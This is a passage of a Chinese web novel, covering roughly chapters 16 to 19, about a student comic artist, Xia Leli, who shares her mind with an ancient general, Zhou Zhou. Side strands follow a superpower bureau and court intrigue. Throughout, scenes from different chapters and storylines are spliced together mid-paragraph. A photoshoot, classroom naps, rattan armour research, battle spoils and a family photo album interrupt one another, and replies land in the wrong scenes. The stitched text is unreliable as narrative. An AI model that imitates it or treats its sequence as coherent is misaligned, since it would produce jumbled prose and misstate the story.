对方显然为了拍摄特意打扮了一番,大丽花黄的荷叶边上衣配着同色系的耳环,打开楼道门的那一刻,像是一朵张扬的向日葵从昏暗的背景中喷薄而出,夏乐栎下意识按了快门。 人像最难捕捉的是自然又生动的瞬间,夏乐栎有把相机快门设置成静音的习惯,对面并没有意识到发生什么,热情地打招呼,“‘林中音符历’小姐姐?我一直没有接到电话,还以为你不来了,毕竟我这边的环境……”她耸了耸肩,“懂的都懂。” 夏乐栎想想刚才擦过凉鞋的老鼠,实在说不出什么硬夸的话来,只能应和着,“还好。” 对面人笑,“可不就是‘还好’,重要的是性价比高。咱们交换一下昵称?叫我‘AA’就行,怎么称呼你?林中?音符?还是历历?最后这个亲近点,我叫你‘历历’怎么样?” 夏乐栎只来得及点头:“可以。” li(四声)啊,精准地选中了本名。 说话间,这位网名“AA给我打钱”的妹子已经风风火火地带着夏乐栎上了楼。 开门的时候,总算露出点不好意思的表情,“最近在收拾行李,家里有点没处下脚。” 夏乐栎:“没关……系。” 她看着门里面一片狼藉,总算意识到对方的话没有任何谦虚的意思。 夏乐栎艰难地沿着对方从前面开辟出来路进入房间,里面居然还挺宽敞的。 AA转过头来介绍,“因为要拍摄,所以我特意收拾出来一片背景,一会儿就在这里拍吧。我左边脸比右边脸好看,我拍的时候会尽量把左边露出来。唉,我发型是不是有点乱了?你等等、我再整理整理!” 对方的话又急又密,夏乐栎好不容易才找到插话点,“不着急,我觉得咱们可以先聊一聊。” AA一边整理着发型,一边不着痕迹的拧了一下眉。 但是很快就掩下情绪,大大咧咧地,“是谈价吗?我知道这地方女孩子过来不容易,但是我说的时候也没藏着掖着啊?这样吧,我再加100块,你要是能拍就拍,不能拍咱们就散伙。” “我不是这个意思。” 夏乐栎一边观察着房间内的布置,一边注意着窗户光线……好吧,窗户根本没光线,只用注意灯光就行。 硬光啊…… 夏乐栎琢磨着这个光线的方向,转头对AA,“我是想聊一聊你。” AA愣了一下,像是遮掩什么似的捋了捋耳边的头发,“我有什么好聊的?” 夏乐栎总算找到了合适的位置,把椅子推过去,转头对着AA笑,“我是摄影师啊。你邀请我过来,不就是想要拍你吗?我总要稍微了解一点,才知道该怎么合适地用镜头把你呈现出来。” 看着夏乐栎一边这么说着,一边对着取景框观察,一副很专业的架势。 AA有点被唬住的,她在夏乐栎的示意下,莫名局促地坐在椅子上,好半天才找回话头,尴尬地,“我以为就是找个好看的背景,摆摆姿势、然后修修图。” 夏乐栎点头,“那也是一种类型,但是你不想拍这种吧?不然就直接去工作室了。” AA沉默了好一会儿:“……对。” 她想拍自己,不是照片里漂亮得自己都认不出来的假人。 16-20 第 16 章 第 16 章 后面这么大动静当然引起了关千何的注意,她一回头就看见这边的情况。 她反应可比夏乐栎快多了,三步并两步折回,表面覆了一层金属的手臂直接穿过火焰,三两下把那蜷缩着哀嚎的人按倒在地上,扣上手铐。 前后不过几秒的光景,夏乐栎还来不及感慨一下关千何这飒爽的英姿,刺耳的警报声在头顶响起。 夏乐栎:??! 烟雾报警器的锐鸣尖厉得要刺破耳膜,刚刚才目睹嫌疑犯凶器的人群一下子骚乱起来,人群推搡着向着紧急出口而去。 不知道为什么,面前的两个人却格外冷静。 关千何对这刺耳的警报声展现出一种习以为常的淡然。 她双手合十,对着商时驹,“谢了,多亏有你。这次的检讨报告我替你写!” 烧灼的焦臭气息涌入鼻腔,夏乐栎后知后觉,触发烟雾报警器的是刚才的火焰……是异能? 商时驹没回答关千何的话,而是径直往夏乐栎的方向走过来。 背光的方向在夏乐栎身前投下一片阴影,夏乐栎刚才被袭击的时候没什么感觉,这会儿被商时驹这么居高临下地一看,莫名起了一片鸡皮疙瘩。 周州这次先去确认了嫌疑人身份,放下心来回来就看见这边角落里一站一坐。 然而周州这愉快的心情并没有持续多久,他下楼跑了没多一会儿,速度就渐渐慢了下来。又过片刻,更是彻底停在了路边,就那么站着不动了。 夏乐栎奇怪:[怎么了?] 夏乐栎正在努力忍住打哈欠的欲望。 昨天两杯奶茶喝下去,晚上不出预料的失眠了。她睁眼盯着床帘顶棚看到了凌晨两点,终于酝酿出来点睡意,早上五点又自然清醒。 夏乐栎:“……” 还有另一个不幸的消息,她今天满课。 在昏昏沉沉地度过了上午两节大课后,夏乐栎也没什么胃口,她在教学区买了点三明治对付了一下午饭,趁着午间趴在教室里小睡了一会儿,总算能睁着眼睛上下午的课了。 但依旧很困…… 夏乐栎努力把视线放在投影屏上,试图捕捉耳中的每一个字眼,但是眼前的文字渐渐重影,耳中的声音也变成了无意义的嗡鸣——非常催眠。 夏乐栎头往下跌了一下,瞬间清醒。她搓了把脸,拿起笔来,尝试记笔记提神。 五分钟后,又再次重复上个循环。 好在这是节大课,下午第一节又是最容易犯困的时候,夏乐栎在其中并不显眼。 终于熬到了课间,几乎什么都没听进去的夏乐栎放心往桌子上一趴,连教室里突然变得嘈杂的交谈声都成了白噪音,她差不多是秒睡,当然也没听见旁边的交谈。 “多谢宸哥,你怎么知道我困了?还特意帮我买咖啡,多不好意思啊!” 旁边那男生这么说着,可半点都没有“不好意思”的表现,伸手就要去接。 陈宸一拎袋子躲开,“不是给你的。” 伍徵明怪声:“唉?不是吧?你一个人喝两杯?这可是下午啊,你晚上要不要睡了?……别那么客气,兄弟我帮你分担点。” 陈宸拧眉:“你小点声。” 他这么说着,往旁边看了一眼。 伍徵明一开始还不明所以。 ——这可是课间,他声音也不大啊? 但看见陈宸的动作,很快意识到什么,再看陈宸手里的咖啡,立刻露出了“我懂我懂”的眼神。 他之前也注意到了旁边那女生了,下午课大家都很困,但是像那个女生那么坚持还真的不多见,头一点一点地还挣扎着清醒……还怪可爱的。 就没想到老陈下手这么快。 伍徵明啧着声唏嘘着“没想到没想到”,在对面渐露威胁的眼神下,终于做了个封嘴拉拉链的姿势,但紧接着又接上,“加油!兄弟我精神上支持你。” 周州闷不吭声了好一会儿,才语气别扭地,[有点晃。] 夏乐栎费解:[手机吗?你别放在同一侧兜里,一边放两块,那不就不会撞了?] 却说锦平这边。 杜彦之从吴家的夜宴上回来就觉得不对。 吴恪虽出席了宴会,但并未表露身份,只是坐在吴家族人的位置上。 可宴上有这么一个人,吴仁辅却没法平常待之,虽说努力克制,但有时候仍是忍不住眼神征询。往来几次,便被杜彦之察觉些端倪。 因为觉得异样,杜彦之回府之后仍是忍不住细思,越想越觉得吴家这段时日的举止有异。就连第一次递帖子的时候也是,锦平才刚刚城破,吴家便来相邀,未免赶得太急了些…… 杜彦之左右思忖,觉得这事还是和周州商讨一二。 但等到要求见的时候,却在门口被拦下了。 周州是被人叫醒的。 副将全不见先前清点战利品时的轻松,满脸肃容。 一见周州睁眼,他就立刻开口道:“将军,息州出事了!” 这毕竟是安思范手底下的人,周州的亲卫倒也客气,“将军已经歇下了,杜先生要是没什么紧要的事,不如明天再来。” 杜彦之下意识地,“这么早?” 不提周州那边如何兵行险着,夏乐栎却过得忙忙碌碌。 和编辑讨论之后,对方给出了不少修改意见,夏乐栎趁着假期余额告罄的这几天一直在修改,一直到群里讨论返校时间的时候,夏乐栎才惊觉,自己差点忘了买回校的票。 虽然过程很艰辛,但结果是美好的。 夏乐栎总算赶在返校前完成了初步的修改,两边都松了口气。 编辑松鼠:[我已经把你的稿子提交主编,明天开会商讨,如果一切顺利的话,就能正式签约啦~] 夏乐栎斟酌用词:[好的,谢谢编辑。这段时间辛苦您了!] 似乎是从夏乐栎的遣词上看出什么,对面开解:[不用那么紧张,我觉得你通过的机会很大,很少有恋爱漫画这么用心做背景资料了,花了很多心思吧?] 被对面这么一提醒,夏乐栎才发现自己的手不知道什么时候握紧了拳。 她确实有点紧张、亿点点…… 也就比去年等高考成绩那时候多一点吧。 不过看到那句“用心做背景资料”,夏乐栎还是心情微妙。虽然确实在上面废了不少心思,但是对面绝对猜不到真正的原因:她可是真的给一场古代战争做了准备期的远程援助!震声! 说起这个来,也不知道周州那边怎么样了?一直没有消息…… 夏乐栎正这么想着,却听房间门被敲响。 她骤然回神,手忙脚乱地隐藏聊天窗口。果然,下一秒房间门被打开,夏妈妈催促,“明天就回学校了,今天别睡那么晚。快洗个澡,早点上床。” 夏乐栎“嗯嗯”应是,等夏妈妈走后,才重新打开聊天窗口。 又和编辑聊了几句漫画的情况,两人结束话题,夏乐栎才抱着毛巾去了浴室。 蒸腾的水汽一点点模糊了视野,热水舒缓了紧绷身体,夏乐栎缓缓呼出了一口气。 在这样放松的环境下,先前被打断的想法又在脑海里浮现。 ……不知道周州那边现在怎么样了? 亲卫挠头:“也不早了,往常这时候,将军早歇了。” 周州那边被微妙滤镜的事连他本人都不知情,夏乐栎自然无从得知。随着开学上课,夏乐栎生活也渐渐跟着新学期的课表步入正轨。 不过毕竟假期刚过,大家的心还都飞在外面。刚一到周末,401的几人相约就一块儿去了附近的商厦。 虽然以几个学生的购买力,也买不了什么东西,但是逛街重点就在一个“逛”字么~ 说是一块儿逛街,大家的兴趣到底不一样,在陪着叶竺妍狠试了一番衣服之后,几人又到了欧阳艺很感兴趣的电子产品店。其他几人对此的兴趣只能说是一般,又因为先前陪着逛衣服确实废了不少精力,体力最废夏乐栎率先宣告退出。 她跟欧阳艺打了个招呼,表示自己去一边的奶茶店等着。 欧阳艺习以为常地挥挥手,另外几人也都习惯,倒是脑子里的那个声音颇感遗憾,[再看看嘛~] 夏乐栎:[……] 合着不是你受累。 大概这无声吐槽被听见了,对面很爽快,[那就让我来。] 夏乐栎顿了一下,[不、不用。] 就周州上次那反应,她担心自己室友的人身安全。 周州还想说什么,随着夏乐栎的奶茶到手,他一下子安静下来。 隐约猜到原因夏乐栎噎了一下:这是不是也太好哄了? 几分钟后,同样精力条见底的叶竺妍也过来了。 两人各自捧着一杯奶茶刷手机,夏乐栎走着神构思着自己的漫画分镜,叶竺妍不知道是在水群还是和谁聊天,打字速度溜到飞起。 过了一会儿,对面突然发出一声惊呼。 夏乐栎抬头:“怎么了?” 叶竺妍:“咱们学校的运动打卡出新规了!” 她一边说着,一边把手机递过来。 杜彦之:“……” 他想起宴会后半段,丝竹渺渺、乐舞曼曼,席间美酒佳肴,都是难得的珍馐,周州却心不在焉的。为此,上首吴家家主的脸色都不对了。 杜彦之本来还以为周州是给吴家的施压呢,结果居然是困了。 他难得被噎了一下。 但顿了下,终是摇头失笑。 ——到底是年轻人啊。 杜彦之:“不是什么大事,等明日再说罢。” 不急在这一时,便是吴家真有什么打算,也无非是“兵来将挡水来土掩”罢了。再者,节帅那边的大军将至,急的实在不该是他们。 周州:[不是。] 他这么干巴巴挤出两个字,又不说话了。 夏乐栎栎直满脑子问号。 还带着点冬意的冷风吹着树枝发出簌簌的响声,连偶尔经过的情侣都快步走过,在这尴尬的静谧中,夏乐栎终于慢一步地领会到了什么,顿时也僵住了。 但是这么一直相顾无言下去也不是个事。 夏乐栎迟疑了一下,小声:[我觉得……还好?] 毕竟是冬天么,穿得那么厚也看不出来什么,所以她就图方面没有穿。 反正她的cup也没有大到影响日常生活的地步,跑步的时候确实会明显一点,但是习惯了也……没什么吧。 周州不吭声。 夏乐栎:[……] 这诡异的沉默实在太磨人了,夏乐栎坚持了一会儿就受不了,[好了好了!我知道啦!] 夏乐栎捞起手机,快速敲了一行字,怼到周州面前,[这东西是不是很贵?还是限量?] 她想起刚才去看AA,对方身上的擦伤和骨折还没愈合,不治好是因为不想吗?肯定是有原因的。 周州:[异药局那边有生产线,数量上倒还好。但是涉及异能量的东西,价格上确实有点……] 夏乐栎眼巴巴地看过去。 哥,你给个准话吧! 周州犹豫了下,[普通凝胶的话,比你的手机略贵一点。] 夏乐栎倒吸口凉气,看商时驹的眼神都不一样了。 什么酷哥啊?这分明是霸总! 第 17 章 第 17 章 “失去亲密的朋友后,人们常常会转向其他重要的人去寻求情感上的依托,你可能潜意识里将她视为某种情感的寄托。” “……有强烈的情感反应很正常。她出现在这个时间,正好填补了缺位的位置,再加上责任感的驱动,确实很容易产生过度保护的想法。你希望她过得好,借此平复一部分内心的痛苦。” “……” “但是我不建议你继续下去。” “这并不是一种健康的情感关系,你将她视为某种情感上的补偿,希望在她身上索取安全感,一旦索取过度或者回应不足,你们之间就会出现问题。不管是插手生活还是干涉行动,都不是一种长期良性的行为……夏小姐现在的情况怎么样?” 被夏乐栎惦记着的周州正在清点战利品。 也不知道安恭义把消息透漏出去的,对面的人想当然地以为现在禹定城内“兵无甲胄、守备空虚”,倒是省得周州专门想法子“示敌以弱”了。 周州当然不会放过这个好机会,埋伏了两天,全歼了对面的先遣小队。 既然是先锋,当然没有携带多少军资,不过周州也有所得:对方身上的甲胄完全可以扒下来自己用嘛。 这也是为什么周州先前让夏乐栎不必放在心上。 有点护具就差不多了,剩下的完全可以抢别人的啊。 想到那句仿佛理所当然的“互帮互助”,周州摇头失笑。 这算不算对方送他甲胄?他帮对方见阎王? ……盛世太平、无有兵戈。 这才有了那连甲胄都画不出的小姑娘吧? 有点天真,但并不讨人厌。 拂晓的晨光驱逐了黑暗,仿佛刚刚结束的血腥厮杀尽皆隐没于夜色之下。沐浴在这熹微的阳光之下,四肢奔涌血液似乎也一点点冷却下来。 收缴来的甲胄还在清点,周州看了一会儿,干脆把这事交给了副将。 副将领命应声。 倒是周州走后,旁边就有人凑过来问:“将军怎么了?不大高兴的样子。” 副将不解:“没有啊,瞧着挺好的。” 就是这个“挺好的”。 那人忍不住道:“这可是大胜啊!将军不应该更高兴一点?” 他这么一说,副将也蹙眉沉思起来。 这么想想,周州的表现也确实太冷淡了点。 刚待深想,就看旁边的人动也不动盯着他看。 副将总算回过味来了,一巴掌拍过去、叱骂道:“少耍歪心思,赶紧给我干活!” 那人眼神一虚,但还是扯着嗓子给自己辩解道:“不是,我是说真的!您不觉得将军反应不对吗?” “将军的想法,是你们能猜的?!区区一场小胜,就禹定城现在的情况,将军高兴得起来吗?!” 周州今天来得晚了一点。 不过他倒是带来一个好消息,禹州产藤,当地人也惯用藤编。编织藤牌藤条显然不能直接用山里采摘的,光是前期处理就是个大工程,周州根本等不起。现在情况倒是好、直接有了当地人现成浸揉好的材料……虽说数量有限,但有总比没有好。 说实话,整件事情顺利得让周州都有种不真实感,仿佛真的有什么神灵庇佑一般。 不过想想他这称得上是“奇缘”的经历,还真是件说不定的事…… 周州来的时候已经过了午饭的点了,但是夏乐栎还没醒。 昨晚查资料费了点时间,为了防止被亲妈发现自己熬夜,夏乐栎选择了直接通宵。 靠着两杯咖啡,夏乐栎神采奕奕地熬到了天亮,并顺利通过了夏妈妈的“晨间检查”。在一顿确实没什么胃口的早饭后,夏乐栎抱着酸奶麦片进了自己房间,直接表示“我中午不吃了”。 在夏妈妈那“又不吃饭”的絮叨声中,夏乐栎从门后探出个头,郑重强调:“我上午有事,妈你要是没什么要紧事别进来啊!” 章琪:“你个小孩子家家的,能有什么事?” 夏乐栎:“总之有事!” 在严肃告知过亲妈之后,夏乐栎把自己往床上一摔、开始补觉。 这种昼夜颠倒的混乱作息当然有副作用,夏乐栎睡得非常浅。几乎是周州刚到,她就被惊醒了。 因为心里一直惦念着这事,夏乐栎清醒得很快,含含糊糊地跟人打了个招呼,就掀开被子直接赤脚踩到了地上。 冬天的地暖十分舒服,早就习惯这个的夏乐栎没觉得有什么,周州却忍不住低头往下看。 猝不及防地撞见一片莹白的脚背。 他思绪一滞,仓促移开视线。 夏乐栎没在意这点骤然出现的异常情绪。 熬了一整个通宵、不是补觉能补回来的,她这会儿大脑处理信息的带宽不足,整个人都处在半懵的状态,开个电脑都磕磕绊绊的。 笔记本只是休眠状态,夏乐栎摇晃着鼠标把屏幕唤醒。 她点开昨晚整理出的文档,以一种疲惫过度、反而莫名亢奋的情绪开口,[你看看这个!] ——鸳鸯阵! [等等!停一下,刚才那个、再仔细看看!] 夏乐栎正查着资料,突然被周州叫停。 她愣了一下,把光标往回拖了一段,映入眼帘的是一副藤盔藤甲。 夏乐栎沉默地盯着那图看了三秒,情绪一下子激动起来,[绝对不行!!] 她并不是对铠甲材料有什么偏见,但是—— 男主角变成一个憨憨都难以忍受了,难道还要变成一个充满田园气息的质朴憨憨吗?! 这可是恋爱漫画啊! 悲痛.jpg 周州倒是很快开口,[我不是这个意思。] 他略微犹豫了一下,还是把自己的那边的情况栎单地解说了一遍。 周州拿下禹定是靠的轻兵突袭,谁料到押后的军资会出这种事。 不过他也没和夏乐栎说这背后复杂的情况,只栎单地说了自己那边缺甲的现状。 [正面战场毫无防护等同于送死。我想试试,要是藤甲可用,也不失为一个临时应急之法。] 夏乐栎微怔,她没想到周州那边会是这种情况。 说实话,没什么实感。这距离她的生活实在太遥远了,远得连想象都只能是影视剧里一个模糊的剪影。 不过她还是开口,[你等等,我查一下藤甲的制法。] 周州:[多谢。] 用词栎短,但语气居然颇为郑重。 夏乐栎有点不好意思,[……这没什么的。] 毕竟对她来说,只是动动手指的事。 脑中传来一声短促的轻笑。 明明声音是直接在意识里响起来的,但是耳中的鼓膜却像是有所感应,带出了微微的痒意。 夏乐栎不由想起了自己最开始的想法。 这人声音还挺好听的。 被这声音拉过注意力,周州这才从刚才的尴尬中抽回心神。 但是随着屏幕上的字句图片落入眼中,他不自觉地严肃起来。 周州好半天没有出声,夏乐栎拖拽着鼠标往下拉进度条,心底也渐渐没底起来。刚刚清醒的亢奋过去,通宵的疲惫又涌上来,情绪似乎也跟着这股疲惫感落入谷底。 进度条拖到最末,脑海中依然是一片沉默的安静。 夏乐栎等了一会儿,还是忍不住开口问,[是不是不能用?] 那人:“……” 禹定城现在什么情况? 演练的新阵法刚刚大获全胜,几乎没有损伤地全歼敌军。 换成是他,嘴都要笑歪了。 * 夏乐栎觉得自己那会儿感觉商时驹冷淡是错觉,虽然对方线上回复十分简洁,但是回头就跟余项打了招呼。 余项也立刻联系夏乐栎:[我下班把东西送过去吧,嫂子不用专门跑这一趟。] 好意倒是好意,但是夏乐栎那会儿已经走在半路上。 周州家距离异监局很近,人都出门了,基本算是走了一半了。 余项得知后也没强求,只是主动表示帮忙把东西搬下来。 不过他出来的时候好像遇到了什么事,让夏乐栎暂时在门口等等。 异监局外面有供来访者坐的座椅,夏乐栎本来是坐在那里等,但没多一会儿就有位调查员过来。 夏乐栎猜自己被当成报案人了,连忙解释,“我在这儿等个人。” 对面不知道为什么表情一下子复杂了,看起来小心翼翼问:“是夏小姐吗?” 夏乐栎:“……” 她好像在异监局出名了,但是她拒绝思考到底是怎么出的名。 眼见着那边的越发丰富的心理活动都要在脸上表现出来,夏乐栎果断,“我来找余项。” 在“余项”两个字上特别加了重音。 夏乐栎在被详细地告知余项的办公室位置后,人被放进去了。 虽然得到了特别优待,但是夏乐栎一点也开心不起来,幽怨的眼神一个劲儿地往周州身上落,“她以为我在等你吧?” 恋人去世,女朋友无法接受事实,在对方工作单位苦苦等候。 多感人、多偶像剧啊!要是主角不是她的话,她愿意在沙发上贡献好几包爆米花兼抽纸巾。 周州表现了高度同情,但还是适时提醒,[走廊上有监控。] 夏乐栎:“……” 这是要把正常人逼疯的节奏! 第 18 章 第 18 章 临时遇到了意外,余项给商时驹发了个消息。 [商哥,嫂子应该到了,我这边走不开,你能帮忙接一下吗?] 商时驹:“……” 知道自己的状态不太好,他本来是有意避开的,没想到还是被余项叫下去了。 商时驹是在楼梯上遇到的人。 夏乐栎正纳闷着这么巧,就看见对面人停下了脚步。这才明白过来,原来是特意来接她的。 “余项呢?” 商时驹简短回答:“有点事。” 夏乐栎还想追问什么事,但拐过楼梯间就看到了人。 走廊尽头,余项正站在窗边。他对面是个打扮精致的年轻女孩,夏乐栎认不出这个世界的服装品牌,但一眼就能看出这一身价格不菲。 资料库确实信息丰富,但一番考据搜索细节修整之后,夏乐栎对着眼前新的男主角形象陷入了沉默。 不能说和俊朗潇洒有什么关系吧,只能说像个憨憨。 完全失去了画下去的欲.望怎么回事?! 三分钟后,叶竺妍看着捧着明显大一号纸杯坐回来的夏乐栎,满脸问号,“你又买了杯新的?还是大杯?这家奶茶这么好喝吗……全糖?!” 无意瞄到上面标签的叶竺妍栎直震惊了。 夏乐栎不知道怎么回答,只能含糊其辞地“嗯”了声。 本来只是为表感谢,再买一杯的,但是因为买的过程中某人一直哔哔赖赖,最后就变成了这结果。 叶竺妍对着自己杯子喝了一口,满脸严肃、似乎在仔细品味。 过了一会儿,她抬头,“确实挺好喝的,奶味很浓,茶味儿也很正,甜点应该味道更好。你等着,我也去再买一杯!” 夏乐栎:“……”倒也不必。 脑子里那声音趁机:[你看,我就说两杯没什么的,你朋友都要两杯。不如——] 不等那个“不如”说完,夏乐栎已经面无表情地一口拒绝,[不可能!] 今日份的奶茶摄入超标了啊! 这家伙懂不懂什么叫适可而止?! 周州从刚才开始就陷入沉默,这会儿却突然开口,[那个棉甲是怎么回事?] 禹定城。 禹州刺史府邸。401寝室。 叶竺妍:“乐栎,你怎么回来了?这么快?跑完了?” 夏乐栎:“没,我来换件衣服。” 一回生二回熟,有了开学前的那次经历,这次夏乐栎熟门熟路地闭眼换上。 说实话,夏乐栎早就看开了。 开学毕竟不比在家,从第一次忍不住去卫生间之后,她就半是自暴自弃了……爱咋咋地!她总不能一直忍着不喝水!! …… 第二天一早,床帘还没有拉开,里面就传来一声痛苦的呻吟声。 夏乐栎呼气吸气,艰难地从床上翻了下来。 一个寒假没有运动,突然这么一跑,全身酸痛是预料之中。但是很明显,周州对这个身体的身体素质认知有点误解,夏乐栎现在就像是被人打过一顿似的,全身都在疼。 因为提前有心理准备,夏乐栎对此的接受状况还算良好。 但是等她费劲完成洗漱,历尽艰辛到了食堂,筷子夹了三次都没把面条夹起来的时候,还是忍不住盯着着自己发抖的手陷入迷思。 按理说跑个步,应该不至于连手…… 一下子想起了周州昨天的壮举,夏乐栎思绪一滞、陷入沉默。 Ok, fine! 这很正常。 该生的气昨天已经生完了,夏乐栎迅速做好了心理建设。 但是等她艰难完成了早饭,到达教学楼的那一刻,还是破防了。 楼内的告示栏,崭新张贴着一张新鲜打印的A4纸—— 【通报批评,昨日下午十五点四十八分,某同学于第五教学楼……】 夏乐栎盯着告示上那个视频截出的模糊身影陷入沉默。 别说她人生前二十年,就算再往后拨二十年,她也想象不出自己会遭遇这种事。 ……全校通报批评。 啊啊啊周州!! 你过来给我道歉!!! 正堂的堂屋里,一个青年大大咧咧地坐在主位,单手支颐小憩,瞧着比主人家还自在。只是随着时间的推移,他的脑袋一点点沿着支撑的手心滑落,到了某个节点终于支撑不住,脑袋往下一砸,人也从睡梦中惊醒。 门外是匆匆来往的嘈杂声,一个士卒疾步赶来,拱手禀报,“将军,禹州刺史方敬知自知无路可走,已在前几日自缢身亡,禹定城内一应事务都由其弟方溉总揽,此人现下已被看押,将军要去见见吗?” 周州刚刚从那个光怪陆离的梦中醒来,人还有点缓不过神来。 但听到声音,他还是下意识地抬头,虚焦的眼神落在来人身上,脸上也没什么表情。 禀报的士卒被这目光看得浑身都紧绷起来,不由去思索对方是不是因为方敬知自缢之事觉得不快。 就在他精神紧张地思索应对的时候,却听上首之人开口,说的是一句完全不相干的话,“这屋里是不是有点暗?” 士卒:“……啊?” 他一时没反应过来,慢半拍才理解了周州的意思,又忍不住打量这间屋子。 方氏在禹州经营多年,可以说是这地方的土皇帝了,所居府邸自然修得高大宽阔,更何况这作为门面的正堂主屋? 无论怎么看,这屋里都亮堂堂的,没有半点暗的意思。 但是现在,说“暗”的是禹定城事实意义上的顶头老大…… 这士卒只顿了一下,就很上道地开口,“属下这就去取烛台来。” 周州这会儿已经清醒过来。 他抬手按了按发胀的额角,摆手说了句“不必了”。 倒不是真的觉得这地方暗,而是和刚才梦里所见差别太大。 大块的琉璃替代了墙面,任由光线穿透而过,即便是没有窗户的屋子内部,也被头顶上的光照得一片明亮。不止光线,连温度也是 ,明明从鸟腹踏入屋内的一瞬间,察觉到外面的寒风凛冽,但是屋内确实温暖如春…… 是“天宫”? 这么想着,周州表情有点别扭。 这天宫和他想得可不太一样。 ——太不一样了! 但是人都能在天上飞了,确实是“天宫”没错了吧?……就是接引的小仙女不太爱说话。 这么想着,周州不由地撇了下嘴,瞧着很有些怨言的样子。 一个人自说自话很没意思啊…… 但都是梦里的事,再多想也没什么用处。 周州舒展了一下筋骨,站起身来,对着下面的士卒道:“走吧,去见见那个姓方的。” 夏乐栎愣了下。 她刚才查资料是看见过棉甲,但是对于“让恋爱漫画的男主角穿着大棉袄和二棉裤上战场”这件事,夏乐栎是打从心底里拒绝的,所以只是瞥了一眼,完全没有多看。 但周州的语气似乎不像是单纯的一问。 想到对方的身份,夏乐栎有所明悟。 她一边把论文进度条拖到对应的进度,一边询问,[你们哪里有棉花吗?] 周州:[……棉花?] 夏乐栎觉得可能是古今称呼的差异,干脆搜索图片给对方看,又顺便查了下棉花的传入史。 等大致看了一遍之后,夏乐栎觉得情况可能不太乐观。 类似棉花的植物记载在很早之前就有了,但是真正大规模应用还是封建时代的后期了。究其原因,还是野生的棉花性状各异,需要一代代驯化才成为了今天种植的品种。周州显然不准备去当那个种植大师,夏乐栎明显感觉到对方的失望情绪。 她犹豫了一下,还是出声安慰,[倒也不一定非要棉甲,论文上不也说了,棉甲的防御主要是针对火器,对于弓弩之类的冷兵器,其实还是铁甲更有效果。] 周州却精准地抓住了重点,[火器?] 夏乐栎蓦地沉默了。 她听出了对方的探寻,但就连成长于安稳和平中的她也知道,每一次杀伤性武器的进步都是由无数死亡铸成的,周州显然不仅仅是问问而已。 ——她真的要告诉对方吗? 夏乐栎这沉默迟疑间,却听见脑海中一声嗤笑。 对方似乎察觉了她的犹豫,只这么嗤笑了一声,便没再追问下去。 明明是很招人烦的性格,但是却在一些意外的地方维持着诡异的分寸感。 夏乐栎觉得这人实在奇怪。 周州似乎确实没有在这上面深究的意思,顺势转移了话题。 他盯着夏乐栎眼前的画,语气微妙,[这个头发……] 没等他说完,夏乐栎就干脆利落地打断了他,直接出声,“不改!我不会改的。” 为了表示坚决,她手臂交叉在身前,比出一个大大的叉,表情严肃,“高马尾的少年将军是信仰!” 周州:[……哈?] 什么玩意? * 夏乐栎把周州的东西带回了家。 这些东西在别人眼中是遗物、要好好保存,但对周州本人却没什么大不了的。 [带回家里也用不到。]他像是有点苦恼地,[先放杂物间吧……我记得上面还有空位,你够得着吗?] 说实话,有点困难。 好在箱子不重,夏乐栎也没专程搬凳子,踮着脚把箱子往上推,推是推进去了,但箱子在里面摇摇晃晃的,不知道被什么东西垫住了。她伸手去摸索调整位置,不小心碰到了什么,一个东西顺着她的身体滑了下来,在脚面上磕了下,才“啪嗒”一声落在地上。 周州赶紧问:[没事吧?] “没事。” 夏乐栎说着,低头去看。 掉下来的是一本相册,砸在地上时正好摊开了其中一页。照片上是个六七岁的小男孩,穿着一身剪裁合体的黑色小西装,脖子上还系着的丝绸领结,正乖乖地坐在钢琴凳上,可爱得让人心都化了。 夏乐栎:“这是你?” 周州神色略微异样了一瞬,但很快就恢复如常。 [是啊,]他语气轻松地笑,[想看看吗?] 第 19 章 第 19 章 周州主动邀请,夏乐栎当然不会拒绝。 她俯下身去捡相册,但是凑得近了,却隐约觉出不适。 照片小男孩乖巧看向镜头,嘴角微微上扬,眼睛里还映着闪光灯的反光。只是高光的明亮越发反衬出眼神的空洞,像是被摆在展架上的木偶。 夏乐栎摇摇头,把这不礼貌的想法压下。 她先是倒了杯热水放在茶几上,抱着相册坐在了沙发上,挑了个舒服的姿势准备细细观摩。 夏乐栎很喜欢看相册。 和拍摄技巧没什么关系,每一本相册都是一个故事集,记录着一个人的过去。 相册的第一页是一张全家福,周州和父母站在一起,背景是座别墅式的大房子。 家庭相册多半都是这么开始的,夏乐栎也没多在意,只是例行感慨一下周州的家境。 仔细看看,照片上那年轻夫妇脸上的笑标准得像是硬挤出来似的,这倒是素人拍照时常有的小毛病了,夏乐栎都能脑补出对面摄影师“等一下”、“再等一下”对拍照人的折磨。 这么想着,她倒是忍不住被逗笑了。 周州疑惑地看过来。杜彦之也有同样的疑惑。 不过和吴恪不同,他毕竟是安思范手底下的人,对周州的来历知道得更多一点,因而就越发困惑。 他顿了顿,到底抵不住开口试探,“烛火映明、亮如白昼,锦绸为帐、冬去春来……颠倒昼夜、扰乱四时,这吴氏不愧豪富。” 周州:“……啊?” 他一时没明白过来,被杜彦之这么一提醒,总算有点意识。 他抬眼打量了番这院子,酝酿半晌,终于很违心地挤出了句,“是挺不错。” 但要说“亮如白昼”“冬去春来”,实在是太过了。见过这形容的字面意思,再看这些,闭着眼都说不出这种瞎话来。 杜彦之仔细打量了番周州的神情,确认对方真的是眼神平淡、无一丝动容之意,终是叹声感慨,“将军是做大事的人。” 锦平城内。 虽已入夜,但节度使府邸仍旧灯火通明。 孙成举败逃,如今占据节帅府的自然是周州带来的人。 赵敦益和杜彦之一同入内,就看周州半撑着脑袋,头往下一点一点的,两人脚步一顿,都不约而同的放轻了动静。 虽说入城第一日周州一副“万事不管、老子睡觉要紧”的态度,但接下几日却是为城中情况很废了一番心神,连睡觉都是浅眠假寐。 赵敦益虽是心里嘀咕“这位到底什么时候转性了”,但到底有点歉意。 他还以为对方那天睡醒后“城中诸事繁杂”的指责是没事找茬,结果这人居然真的很上心。 连杜彦之都有所改观,觉得自己当日是以貌取人了。 也因为这个缘故,两人这会儿虽有事来禀,但是瞧见周州现在的样子,却都没有出声。 两人对视一眼,正待轻手轻脚地退出去,却见那边周州一下子没撑住,脸擦着手臂跌到桌面上。 这一下子磕得可不轻,“咚”的一声响后,赵敦益不自觉地闭了下眼,但是睁眼再看,那边人居然没醒。 赵敦益:“……” 这可真是睡死过去了。 杜彦之摇头失笑,“将军这几日甚是辛苦,也该歇歇了。” 赵敦益欲言又止。 他倒不是说周州不辛苦,但是这明显不正常啊!要是没有节帅接应,周州为锦平城费这么大心思他还信,但问题是现在有大军当底气,他吃饱了撑的给自己找麻烦? 